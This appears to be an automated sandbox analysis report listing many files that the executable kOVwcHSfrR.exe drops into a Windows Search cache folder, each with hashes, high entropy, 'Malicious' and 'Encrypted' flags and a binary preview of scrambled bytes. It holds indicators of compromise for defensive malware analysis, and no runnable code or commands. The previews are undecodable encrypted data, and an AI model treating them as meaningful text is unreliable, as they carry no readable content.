C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729713469716.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	101855
Entropy (8bit):	7.9982492424206315
Encrypted:	true
SSDEEP:	1536:FVvBxwZrVgukO09kSq0ZDPTul0N2NZN6o+QYVTVRd8J2UVTl2PFMQsUnn:vbrOUkaDLul5UPJR6JbBQaQf
MD5:	4BFFF54E9EC9E18E197080EF155C267D
SHA1:	AED6EECCE045BD17CF22F69E0BD52D81AB888F15
SHA-256:	5F0AAC59697C65DD4945160EEA63D9FB402C94C8BB1A81965FD91EC523D02A5C
SHA-512:	19FFA9F4BDFFD94C26FC1E5379391193BA25EF072D0C77B7690F2822084B94BBAFA9291E10DFC6DD42099E972D680D2CEFBBEF236853F3466E606CD8AABC7EAB
Malicious:	true
Preview:	[{"Sy..n...:7.6./6..D#..\w.M..M... ..KU+.......WW~.D.....S...<Y@p,....5../?B}.N...NnQ.B..9.;.s..^......3..w.4~+W...c.....A..b..o.N.........X..P...>.dY.W..r..%.}k.1r....0...[..Y......b....@U.4..-.P....k\|.Hi.s..V.S.t.=.M0.......G..Z.5Y5b[.a7Z....)...I.r..m....M.#..v...N.n.......2.O.#..^m.o{}.'e.p.DI....j\|.ld-..... pqt.w.D^C..b1....,...5..Y...@.b.8...p...=....N...8..@.]...YU..Q...\.g.PU....B.(HG....m..~F..A#......Gl.....5;......U..i..w..#Q..-E.6..].W'.....-....-..;p.Z~.b.......{ft~.....}c.sx...>H..l.X...m..9.7....Sw..A.H+..P...H..GV..9..j..6........,...........X8F...q....2..^.......94..>...R...A.K...v."9v.H_.....{F.C. .p.j\;.......Jw..wqd.x..Z..]...f..8`g......h.e.... B..Tv.@;CY...2:..u.T.!q..O...v....\...3@....v..%..C.........R ...}.....j/.. ..a..C..>?4...VZ.....L.Ky..D.5..f...L.R...r.I........N.G5....,.b.o.....{....#...wv{F..:.....(Sk.......:$..$.L".R)...v...&....A?.a..x....c."P..U..h73ce4..L.....>o.....oP+.3'.?.c.b.4j.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729729263985.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998325065124049
Encrypted:	true
SSDEEP:	3072:KfO9lAlLDWRGgSztQ6KK6DrVwr1VhyD34kR2sMuD9Kx:IO9OlLaRGj+6Z6KByD33lMuUx
MD5:	1681A93EAC7C658D24F7BF14ECA54496
SHA1:	DAB648DF619BB19E9491B61F402E7B0FBF7B6E98
SHA-256:	4A85C03CA406DACF71105F9D0FEDCF7EBD3085E4514D2B2930777D361781ED54
SHA-512:	141DC79416434845C72FE3DC9574402692F04F01FD6B918E3EE24CF02A58AF9CA952A25DCCE2084ABBB268A5059BD13A020A02B85F73849158A69D1ECC756EBC
Malicious:	true
Preview:	[{"Sy...`.4Q...>.,ZH9.?......../....@.7..f...u.^1~.....=..d(...N.q......N.H....r....\|..Q....J..n........79..!.."\.a_j.....~.u..\|...[...9...&7....x.J..>:.4..J.......nKx8.@.M~.2@d.Z..z......;.].....pQy7..=>@.....`X.8...s.^.k....!...3..D.^:...:...3....<..%AK#........#..K...\.......dO.?6..\<.g.J\|<.\2.+s`.Z...xY.l.I....m5.M+......R...e-...4.g..#"..!..."P...=.p.....g;4.../...}.D=....F..b..~.}...[.}.G..q...Mp.x2..m_.....[.=.T.C=.V......?...R.x.6.%_..tF....-..N4+N.Z....t......\.t.D.!.%......r.w.dP.+L.\|.$.%...B$.Gg....zUZ....8..I+.=.!.:......\|u4u....k......\._3D...fiH..n.s...AWw5....>..$...............&..@`.z.... .k.%.G%......IYp.;%Ywy...{.............5..... m.z-X1.(K.....l..I..h.;...J.........gm....D..D..6&s.@h.D.c.`C...\....U.t7..,)....]..3..)..?.n%...2.\C.e............"f..Y.....q......J..>I.v..#G...5 N............&Hc.{..iS.r.B..u....R..d6U.1/.v.!.-.Z........d,..n.c7pU{.....=;..'.(.=.-CH!l....yN..l.'"X.l.u$./>~LOL....... ..".h7.!.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729959899759.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	104118
Entropy (8bit):	7.998101479214591
Encrypted:	true
SSDEEP:	3072:42ZIksu4snuUOwdVNLqNpWE3/+3PkGxlB:4yIlsn7ZdVNLREW35TB
MD5:	A9828B223D79DCCCAC587DAF534F6AF4
SHA1:	2AD5E74397A3EB2D373C235AB7ABAF73AD861631
SHA-256:	2A75991AB730045D2D052C73DD74A177D52BAC4F8FDFB51A6FD28FE078700FA0
SHA-512:	0C4D61368D2A507E155F42A9633E4E7CB21E4E21EC2E5EDA163B293FBB4EC894DF9DB679FAEDFFAAFB4FC81D9F6CAA3F2CA7D87719269E6AD004516A059935F6
Malicious:	true
Preview:	[{"Sy...p7.K....Q...=.@....8.H2....G.....]V........KN....r......A.s...b..4..z....fp...GD..\_.<..9....".`9.....w....o.6.@.>......o..v< ..i..aW.M'......t7..j....3.v.}~9kz.4.'.K......f..c.'.A..t..u....m..3.e2?%}..%g7d.2h...j....P"Q..+..z.p...E. k/..M.hI_s....)....p...A....l\..Li.%0.}.S....v...v.....8.U....A....+...l.._..Y~...'_.b...q...E..^....>.....K..._.1.'.....sd..B...:...`.."9....^....=0....O..s$isn..g9....T....?/A.\|4..L.$).g..h.S%......'....._.i..0v.b...?.F....,.....NX....`^..,..;...w.t.G...\|.8..+.q....NU.....h.Z...o..~2...O/..q.O6.f5.F.5\..HS26.u.6.O<.A..C.v........]%.....\|.A..c........}.y8.x.'..Gp..&.-..>.\|..\|.[..?1..M.........LZ}\|..B.D.......!\|.e.L4.#.a.'W.f.]F.../.C.8.t.z..^....~ik..r.m..Y.9..].Y..Lf...0}...Y.....[[m.A....@N.d...7........!..Z..S..N....?...=3.'.((}.@..._.8...y'.2.CL...2.S..j7.-v:O....V{.....X~....u.......!0....RuI(..7&.1.........N...].N.&\ `&.~v.[...m.j+.P.....!..;..r.......'.lw.K@0.+....f.?Rl....a.pe....".......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730000406692.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	104118
Entropy (8bit):	7.998171545952459
Encrypted:	true
SSDEEP:	3072:bdxVkHhV9abArwkB1u0oF6jspMzCgSNt8:vVkHhV9asrwO1ujcjxz7Wt8
MD5:	5A0CE8C5699EEBBABDD292ED30FD9788
SHA1:	AEADE8696701765522642483DC2E7AF19925E810
SHA-256:	5608F234EB65130DBDD97F7F20C22E818A49ACA8E366AED3DB1FF832D657F3AD
SHA-512:	536FE4825871B995686DF1722C04D13A2999782D4D2C6FBE092D81EE681F941C3F523CC462B7FC48FFFD753B858EE8FDCBB3D2D27C3DAF316389241AE7FC0CED
Malicious:	true
Preview:	[{"Sy.,.J,......O.%...e...p...{=..`.r..^...i ......c:.......p.J..Fo..)...X.Et.E......^.h.5....eY......,9BzZQ....2.....@.}{. .d.)..#G..:..(a.....$..l..:.G<. -.....gK..zpox.....6..@..Z25.&.N.l.c..:.5.s.../5 n;3.%.u3.+.`s..R...:..J.}.r..XL1.zEXNT...&.Zi...Wl..h;..z+...$i?iN4.......{..._$3....AV.FVD.....@..A.);.=,.\.924FE..F..?z}.... ..Gw.../R.<k."..&.ps.+1....u.....$......a..w.......B..K..W.]!.K...y\h...Q<I..:.....9..8...\|.4...hA.q.?3..;..'bC1.z....L....pt..].........uy..^...~..N X.?.......?...d?..\|IY....R..5..9.<.7..........Z...&1....u...]...>.L.Dx.M.....^}.X.`9..x.9<...n.i..p...d..4..V$..q<7>.c..w.Ui..g.bM....i[..3.w<..8..DG._..&&.....u..`...C7..J..6G.)...b.... D.z.5..Qu.@?I............n...j..MddT....(..t.~.'.u~.T(.....I~..;5.FM.....2.h.eY..7.$?...Aj2..!~".._....<4N.#s2..)W....=..lO.A.h..N?.#...Y.O..w-..H.D....po..j.Z."'......lG..(.`..3.Q..&.....g..w.;.....T..;J..7...s.K.........{~.M.V..A6..f.....I..7 j1h}.u.........q>W/::.....I..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730139444463.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	104118
Entropy (8bit):	7.998271468912586
Encrypted:	true
SSDEEP:	3072:Gcnvi3Rrd2ZFhsmgGBsSOK9rOojL72kVxs6uNzhskeb:bna3Rrd2ZYpGC49rOA7VPJYdVE
MD5:	99E7AF6AF1A2E2C24D8281ABE8A7C093
SHA1:	2F520E85558826966D67D14A0162E35E017742C5
SHA-256:	E57199F5FF4402E78534164691E92D10F60EBECEB455627F7D5F13337F0F6FFC
SHA-512:	1DDF110986AA9D5CA79D98718040305C162A37D340B8DCFA913AA269D8F7AC7C251818C82AA2D59C7FDB314DACEE09D7E7BEF1C6E15838877EDFB906C99C397E
Malicious:	true
Preview:	[{"Sy...c...1..N..HE...Sd..x]..~.T...yb.....K......].Yh...a^35..w...].....LE{zh.\|.x.x.x.Eq_?S.....u...>...h.wF.j..T.....P..%l.S......s9...[......w';.O..L..L....q.1RR......2.........n=#A,v..(.2.l........@......R.YE..J[..!...>...._..DW-z......5Z.i..C.......?R...q..o..........0Z#.LC.....c ...g\|...}...KE.B{u....Q#..Kv...%....L......{..Q.+......&O.....f..>.U.Y.K....f.P..NU.\|.q.w.Z...-m..2.....ta....OI..L[..M.....U&;t..5L....+.......Q..yg..]]..0..KSjj..K..se..}.P..U.z..q.0z..y......6m.?..g..........ORT~....~.%.........Pq3.X..r'P....Y.J4%>...7..".o.QU...L4.V.,..1...m=....P....L...Y.VS..uX..Y.........t..>'oMZ.Q....Dh...]r.m.{.F#6....[\7.a WR..v.W.+...AG..H.k.G..X....=..^.b......Hq......;..i.....I.1_T..Z.~..IA.+{.>.S.!Zy....y.....6.f..W.R.o...q0..=....)m.y5.M:w..&c..\|.!.D..i./0..}....qO.)3?.....{H...s..n"F....K.L.!.U...K..p#>9...r.c..*.Y..x5'..K....S.....I.q....r.R......."..T..\.7..S..^..D.&9cg..4.o!.J.... .>+mA...k.......+...... ...?..`#..H

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730277423496.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105074
Entropy (8bit):	7.998065665885133
Encrypted:	true
SSDEEP:	3072:7hw6jaBqndHry6Cn3zLLbATehUNm4N3/G:7zEs1r3Cn3nLbATnm4N3O
MD5:	D1AD34BB7F262434C6AFF706DAAE870F
SHA1:	3953EEA44F8979A3662AD6B5FE8E8B67FB64583B
SHA-256:	E6618B2F6817935365AA42A2F2214EBC91C4C556DE0738AA0E5824222FA11E08
SHA-512:	6F661D5A586E6F6F76D3A9D25529E48BE6D4B854BC87E6129B269384B5914716A5EE00E73A082109E0574B4DFFC496842E5D63028FBDB5716C5BD8BBA6DEEECF
Malicious:	true
Preview:	[{"SyA..A..w...w.Uj.......\|%.......Ki.C...2.?..........+....H3........@b2./cDs\|Aa.~.).v.c..vt..uX.J...A...@l.^.... v....1T.g.J.El2..`.t....H.s).~.......2s.4..1.].X.[;5....>.P..j..q..\...~...k.....W.....(.x..4Z.rn...H^..Q_.._78.?......d~.p6.]B...Cp..M.J(e...ow?.....4/....2b. .o.....'....#..-....3....&.<...e...j..x:....]..GL.....D../..M_%._+p..._....F..p&....KC.1xc~..W6<.ap.r\|.p......$.V0...Fa\..{yX/{.x !....d.vI.>..@.0.z.:6.........sp....O.P.(&...G=....8CZ.4.0>4.......k..$...2.u#9c.d..../..Y..di.G.T.z.^^"2}.......t...Vq.U/.......QEA.\2.\N.e..c..>.s"[...;.'J@b~.#..;...F.'..m.n5........Z."q.c..J..>.0.._....\|$..>..-2mRX@..#..yj0UO..B..bhfrTr.htF...F.t...#.r._..R<RR..[..[....xF.d...iM).#...)...:.T...T../m.. E.k..3.._u..k.+.....Y...K..N.?.cN.z....'...f..D.?..OP.....<.b....@...x.8.....YD......V}...V.;..K.^....9.....J2...?..I..DF.3....D.k...m{.Y....T. <Y....C.f@):..oN.<.....9......5G.Sz.Nd.c.z<..A)Hf.R.I........oa.-t#..k..Dy.`.U....Z......2..c.o.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730578223235.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105092
Entropy (8bit):	7.997973755325374
Encrypted:	true
SSDEEP:	3072:MzP5Kv7aPRWQhASWxH0z7AEgzwNK2kSORJK38h0KoH:sP5+aPRWQuSgZv2kSso38h0z
MD5:	3D1507FC2662EE266951EFE892747574
SHA1:	CEEFDD40953596E3E2F9121AA1C17C225938B6FE
SHA-256:	2ABC8C20F90B0061A702481C28468DD7A523E85F2DDBC26A6E7ABD4CFDA62057
SHA-512:	575276A4723D8DE1B53163E1AF80559833D28F4C0D70DE024CE62C5880B4F006BA507D0CD0BCC4D349EE89E06AA3A0208763AA72322DC4607A92E2872F67491A
Malicious:	true
Preview:	[{"Sy.#..j,....!..b....@.....6.......>.A..[D;.8.h. :..p..cA...P].......u..I&i............k......{.Z.r.A.........U...+p....._.O.fn....Np'_m~Ixk...>/5...^..nH.%.S....9@....GVc=.PH...-..EP.r.........q.'..q.(v.wJ.R..\|. ...Bu....ozu.{.@`.>.!.V....".H.......7..U4.M.U.H...z_&....f`.t.?..(.Fv..nf....X.....:....I...U.`.....4.D....`s......X......]...sgF,..7.v2...-1...b....}G.y.q......v."G.:.2.Lz..G.....R..o.Y.e2...x.... @K.{....cz.s.2jm..X..0y?..9..xNF.....Q.,.D.T...s..E..6I..).4.b..wio....,E. ........k).H2....y.....s..g.mb..u7w.....T+H<.?mBfz..f.G{7...e./XoY..1..A..m..-v..gyc!.r7..5}2.7Iz[.x..`...v.R.,...!i^..&....7.,..q9&.u`.A..x.z...Nw...~2l...A...k..o..u?.dr.#...{...D..'".n.m.:...r.YKy.rf.1..GY...y.......:nP.....$xr.....S.....B..~s..wO..`V@}.].f.g.Wx.a.8.\..LL.....?p.......a..JdZ..S\...X.}......u...pT.A..E.\.u;.-.U8.......D.d.*.\[.5..3n.?.......Z..G..vn.%'...B[.J..0....K....7..G..F%.\|.}n....m.....V...+.j.....P....D......=S{.&B.....-....d.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730910455283.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105111
Entropy (8bit):	7.998268167251459
Encrypted:	true
SSDEEP:	1536:y9Oi22cbLKJjPcngg8CzSwycqZtllTgnGPZYpvcxkTFIMqb/CfceYOVzR:/i2j+jPc8OSkyllTgoY1cmuJyNYOVzR
MD5:	32D3B762A7D9729840DAD40F5AA0482F
SHA1:	109CDEBA3B740C3FDB55127C3C1345D10DBF947D
SHA-256:	8E7A5A6D97D2A515FFF365675BFA691FFFAF74D215C05FB2B2F0AC9A89EB11E9
SHA-512:	713C097B464CFC43210290B19D2C73731131A4E259A167C8343FF325612C17F1F213EE58854D74C2D7260C53CAC7DE9557169DA8190EA3154E901AB02998D472
Malicious:	true
Preview:	[{"Sy...gW"...\|X...A-..K..+..4.H.r.g..?>.2....^.....-..3.d.D(.V.4`\|....d.+.... ]..p.........f.r.....C@...(.N}....n.h.NP..vz...S.....pC..=}p...D.[...q....$...q.).;..-...G-...-..f....z3.S..........D.Nt..(...{X.....Q......~m.K..G.2.......:.GF.IE.,/..3.B...[\@..!.X.$...!ffc.......?..fU.^~.!.=.P.c...f.;..&...y6n].....[..#j...&.....2....:e....M.4e_..N.}.......\|Y...).K......9.......=....P.'{..w...9u.$......J....R..\~.C.#.......4..tx.)6.c.6.br..2DD...wb..T.......52...k.Q.....?Q0..c.h.%..U..`.... '.....!.@.....'.[..."80".4..a)..c.0.V......#R..!86.2f.).:.g..; 5.`Nak.n.2..iy..S......U..B.V2.....=.O..'...UUw.bdLq.(.......q...p.#.{.Q.f.'..g.-....7.;.....v.g..T>.....!<..w..N.d.+....s..w.......IJ....X.o..3..?..>.....l..6....7............`p..g7_.....f.rC.......3.bT.......^Q..$O{....[...\HP..m...w.(.g....;.+...c...kL.%t.A.\|sz.1".S.&....2...D......j.....r..........wlo_...y.mj....~.....v.N ...Jf..J5..U....4...,.zmG.MP./h.....G.T.z..R..B.H.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409731158379811.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105556
Entropy (8bit):	7.998217777886181
Encrypted:	true
SSDEEP:	3072:7Kf1fwwQTvBhACndojpscV8IEs9Is2RE47+IO:PwWP+zVV9xuJxO
MD5:	31F18BF44BEBCDCFA22D4DBD65BA214D
SHA1:	4F363361CFE9BF3A935A5E630F48A99C49BE9D72
SHA-256:	DEE08CFC394B49373A34ADC8ECAE6EF4589DF601C04451CC99C90D6E4805EEE6
SHA-512:	34C680C0A9699F9FFE633F827C01E86ED0D2A279CC4B93F9372723AA8618C8B6B807B87A940CCD6A7F0260F282755B357207F8734F414E76FE78B23CE58A4DAD
Malicious:	true
Preview:	[{"Sy.....tZ.._\............j.U.x.....J....F.E.D...[#9...X....).El1.j[.<#...wc.R"$......ob..k..&X.7h.:.#.h.._{...D....PH`.)}.4./..@....G?Z..H.k.n..9....b..'$...6..:...:.=.Z...M'.3.........b'Y.2u.}P....R[t...I[.<.......r].Gi.;.6]CM.......k...A..w.rv.&..q8..?.F..F..a.#..c.`..x...t..z..vy.m_....V.a.........+:.....\|.xC}.....1.NZ{.^...&.........>....a.q7a..............g..Z...([!.}...B.ybNW....@...w-..#60..i......H.../.....9l.pd...Z.....}e...K..]..U.......M.).x\H.&....s..r..O5..21....o....H y.DQ.;.z.....sW.....M2\|..C.!...j.A\.B=.S...E......B)..UE.h......<C...$....AN....\...XPW.UL.~..:f..L...v.f.Hzn2S....s.9.,..&...u..d.oe...Wmn...c...8...7.x..'..~KHbd.{?.K..[.t..._8...D.[L..Z16s3...H..;.M...X.1...L..Kl~..J.eH*.P.a.......f%Z..~......(....+i80.N.L0.....Wd;...=K...a..)..-.....!.4x,.......a.F.......%.L..@.hUW..V....(......P...k.0P!l.D.7....~..r.".W......?7..$...wl...<A. .u..l.3.)....e.F).....WRZYI<.....I....n.o.a.&..b....&......Ci..B.....m...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409731422158190.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	105556
Entropy (8bit):	7.998250464564274
Encrypted:	true
SSDEEP:	3072:6xhdDWa3UMkuDqfXPqgMvMMecNVlizSypxDDASyKI:ehdiwDqfy5eo8SSE
MD5:	FA8F41ED2DFC0B3D33EECB93068F563C
SHA1:	23CC4AB7EF8EA32E2608B2DEB118807FA59FC9BE
SHA-256:	3EDC8B193ABB0EE9110ED8590FE1D8B9F58BDBCBE7A0A784056F41DB2EA7C875
SHA-512:	07A6381B7AC9A676E0018621FD0D4C93C35339B918570B5F2C48507E90472D2E9ABD986384D07A917A4D7385FE19549EAAAEA715E332DB6ED4BD2A199222F444
Malicious:	true
Preview:	[{"Sy..e#..OK....r..#P.:......Y....@.....c....d..KEsu.S.....5....H....`..........Uw...k.R..'.2P..t...L.l.....Djo.(.N\...!/...,..\o.......j.I_..\.@m....:..!2.`H....u.2.7.61.3..\.=. w?....y.i.o...W{.f..S...qKf...?..GL+.F...##Y..p."......<f..1}....@o:......".""?E.~...F..;Z7A.).!.....4.=..'q.(.6.V.bm.F.c..x.:.]O.\|...E.. ....b.......0Z.d....L."./..34.);.q.4..!G..U.."8....k..3...W.eE...+[.....?Q...R..2..+;...^Z..c.....V........(.\....8.h.{..) ex$l...J8...0..%:-..I.v..Z.s...N.......~...N:.3..........T.s.n:H....S...\|.g=..DP ........ww.[.4.....4......}...)0.a....9qw...F.&.y.T......If..<.5.K.G.& ..{-.u^a..p......`......E.K...y.<....\..@h-.Id1..iL.6..`.33......f.nl.b./..mW.....YZ>...Yn....6.&.O.u.X....$.:5...b.x...#.v.......j..e...).H.Jt.]I..0^.pn6Ho.B....ZY..\.R. N.%.....q.R..l*..._.x5.,1.8.....0.S..{h.F6\|S.... ...-G8i......+....Jl...yE....+..J...<.!+...W.f0.j4...{.[.y2......N.....uC.!......3.)...[....\. ..y...\|J..7.+...-<...m.....nN..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409733787453058.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118127
Entropy (8bit):	7.9983965127640335
Encrypted:	true
SSDEEP:	3072:KxufVLUV+4iS5GsRVitHc6rhwp+KJmx6hRFlfvn1Y74Qd:JeEgGsnitbrqpXJmx4FBnW74Qd
MD5:	43086B371529A6D52BE7CE49C7A30F4C
SHA1:	B6B5AEF3411ECB15FB2A757E1323C7FF0E5B1586
SHA-256:	E20D835DD4029B3D582DEC40D09A78519436D020B22A8D290557566A793FC605
SHA-512:	BF7290382B41BF621B6CFD4010B877F347197498F460E343EBEE39D13C1689168AFBA3545A9A83875B200BEBBE35E7F5DA1B18EA17784E8D694A1B279AD74635
Malicious:	true
Preview:	[{"Sy..Ld.S.f.B..M<q!...F.h.y-aw.....!..-...q0g........W3.q'.........z.0b3.C.....<..U...\.z..@.8....Kv...`3.O-7.H..mD..<.Z.m>.}xS.;.K.!...g.T..".q....G.d.O..B......!wW.ZD..{.x......f.&.[....#u...K...="]4..!z.\|.%..pQ.....UE.$...{.n.X..............^..9..I.......(}..d,......W..Gs.......`..6O........G.....p.......O...........S<..9>..U.b.8L.....&...M[5.m(....W4.8[..eX..]!M..&...h.....$K.....t.p...6... .y...CR.H..M.._....3.w...8.A..eG...a.... n.=...j.1...4.......Z.....Y- ..@.lXdd.....d....hB.\|K._f4k=...(W..WDo..6...l.;.,8k.` ..B.. ...X..2..]...y...pZU.....YP:..S.y.J...1...Q....I......#..>mtjT!.cEBA/J..h.4..5...6.a....:Q...+._N..&..T...._..Dr/..cl.&v....09y...~..>.{........E...[N&..S....../.\.%j./=`H^w.gL...6.%E,......R.......VYk..6.@..S...'.....HW\|...?.......8j.b....Sg.W.Hp.U..f..N.....J.:......0C.......Gd....7..."6.YC..>;s....vJu...\gj.9H.....3\|]..i.c.^.%2..Ap.Q..).......O..}s......!..r.V......nW.....^..l....Z.^B...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409734054459678.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118127
Entropy (8bit):	7.998360562016398
Encrypted:	true
SSDEEP:	3072:CP4ICcSnzsN8Bbk4rcjLZUq/zoK57lPYtMYo8p:Cw9cSnpKxLZT/lQtMi
MD5:	5DD5E2B96059B0CC54472480FE682017
SHA1:	F2654338148DAF2813A61A4716A38C6B4CEB0AD5
SHA-256:	33E72355E987AF7891E631F5782229E1866828922829C3C15E30C6711E265821
SHA-512:	7D559A3B7A2092532F2DA06808211D0D034BE68729B84CFEF8B4300D9211733A437574C24BBAC0CE1F60C920E6268A9ED4DA896D331ED90202F66F45E93DF02E
Malicious:	true
Preview:	[{"Sy.tC1.u/...N....2.\.I......;..gZ...C8lr{Q..g..G...GS.....>.w..;.....M.h..iK.u.#+`..M............D.{..X.c..E.f....f4..8~.%......DXl..f...`..t9.X.L.`...z@{E..N$9..\.w.V_Z..<.4;/.........3..fT.6...s.%..o.3.7.....6]..$..Lvt.>...s}z....,..hR...O.....%...;.2)r.n...Qs...>...ef...h.r.[........S.........Y..V....#.R.....:#+.u..fb../.;..6..'.U.5R;K?v.T%.=I..7f..}.t..C.@R.>..6M..B.Q..a.k..._.T~&.r...?.[WQk...>/e.....e.[..W..P.P...r.y_C.....P0....\|;..)._;?..<.&D^?/}a.........."..<.n...C......j]....3../......[L.%..v...v.92..@D..h7....hK5....5..M.....r_.......V...EB.ze.-..G....6.......X...(....P........'.A.d...9)....c.K./.(e>..UD.."..f{n....%....t...g..X.q...nv.6 ..,M.B.w1.3.S..i..P.A.s_..L......Uq.S...........G..i.cW..^.&B....6].:..W.i....1..;[.\..>r../.^.Y`..r;......J.gC.......G4+..........${v.P/ ..H~.y.W..vK.;h..w.q.S.<..5b.$$.8..... _...&U."..~....hY.....zF]..........W..!..c..y%2......p\.....!...^~ .R...]...Qu^/,n..N.....d......C...2.S..f...."BQ,....F.t,Q/.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409734353939698.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118133
Entropy (8bit):	7.998500304323585
Encrypted:	true
SSDEEP:	3072:pUL5B8S0BePJeVcB9fzrBbhXPhQS3+Wmegq:KL5304PJTB9fNha6+Wzgq
MD5:	1B8C6F02A2DC54FB5CFAF519AD729603
SHA1:	55DCDDAAE585F785DAB23BFE3B6C23AD639AB234
SHA-256:	8EF80C0BE2CFCAC4102C7554A34EDDBD799B9788E02769DE6EE7D772C42FC9F3
SHA-512:	F9D30BD06A43D5E63F1735BD84E92BEE55066B4734631B8E7A410CD616BB42C6AE8BFE5B5EE88DC0A8F8E573DD597DDE9C45660DE924CA4790116EE841BAB6ED
Malicious:	true
Preview:	[{"Sy.v&..! .N.VG).z...^`G._Y.q.,i..6.....MD....4Sz......\|..XX.,`..wK...."y.T..q.m..h.I#P..Q?....yp.i.0..HK?...m-.v!........k.U.{.F..cR......E..; &..Ny.......f....h]..@.....^dlz.SM.O...:......(..)Q...$.ZF.....H~.t.U..o..j:jI).../%MBG[u..q..l+.-..N"7:.q=....$:.....r..y..S$x\|e.._+.3q.3$..ne..d........D....\|....B.p.u.y....r..}V....4..%...,....M.._R..........M%..[....+V..a<.G..<..J..%...rk.:to. J...V...{B.e....pe.........`....;.PQBlE..4.k<...:{1......y>..4.....J.{sp.D.,..e!..<.x.2...:..D.h.s0./!\|r...P..+}d.......)'H.M.nm.f...._..m..N._f^.h.i..q5v...=...K7.K.VZ........z..H.d.HzDhV>..$...=.../.. .{t.#..c.9/d.U.........+.6..8..k...L%..R...Hn...p....7&..`.3....vo...<....c..N@.Sf~E.(...d....-...m..,A8..l...n.&...v.1.g..W..LfRK..........A4.(....[.M.tk/..-v3.J.$).2....d.Q...+.....G.G8.>..`D......teW....'o...........[.q...C.n.L.0.+\......;........5C....d._h..X..Cz.v.....H..z..'.*D.J....`3.c\|.../.....FY.yG>...@{:....".x...p%j..5.&.z..0..Z.W..#

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409739283269443.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118133
Entropy (8bit):	7.998498051517452
Encrypted:	true
SSDEEP:	3072:QubRfDTZfjRLSILIBiDV2XkD5auCJQB2DEsm:QKRBeBih2Xs5auEYum
MD5:	C6D74255D2EC0B669665F48DE4B18B96
SHA1:	E1CAD23BD9CC98A2D7F6597350D2D3F1669E2937
SHA-256:	CC0B677D295A19144FBEE792A0925EB6CBE533853101B227245C6D4F0E752E5F
SHA-512:	53B29BBE5B50C8C15A14BBFC25C8D270405231A5DEEDBDDDD77E54039FD69EFA219B2839316D66ACA9AEEA409AEB4C6D940916DCE2FA069ECF0B22D747497072
Malicious:	true
Preview:	[{"Sy.!.6..~.]...m.C+M...\|....`..n.f...O.I..;.`.F.{.?.Z.{.7f...-?..t>{...L.....[a.....a..#..I!.m3.M:....}..n.X.dg..$.{hP....\........G.,.YN.&.~...F.@..\...H.}Kc.m.^..1O..8.@g.".....1R.\|.Y.Y...m...x.B....._."..TDA5$4..x...e...P..1....H..C...O".C/e..mq......J/..7c],.f......29f..C...K....A6^...I..(.1`2.....J.(..>.@M.t:p..K....{..Cu..p../.,.....7..{.......#X./...X..1......d...R...u.0..7..Ly.~.6D.o.a.........[(......a..K]O..\Z.......u.o....0.m7.R./.L!..Ov,B..rGx...(.....X....m.<5.+J.....i...j.....r.3.u.n.;'.......v..SP83s....R"M(.Q..t...@...M6.Cg..... 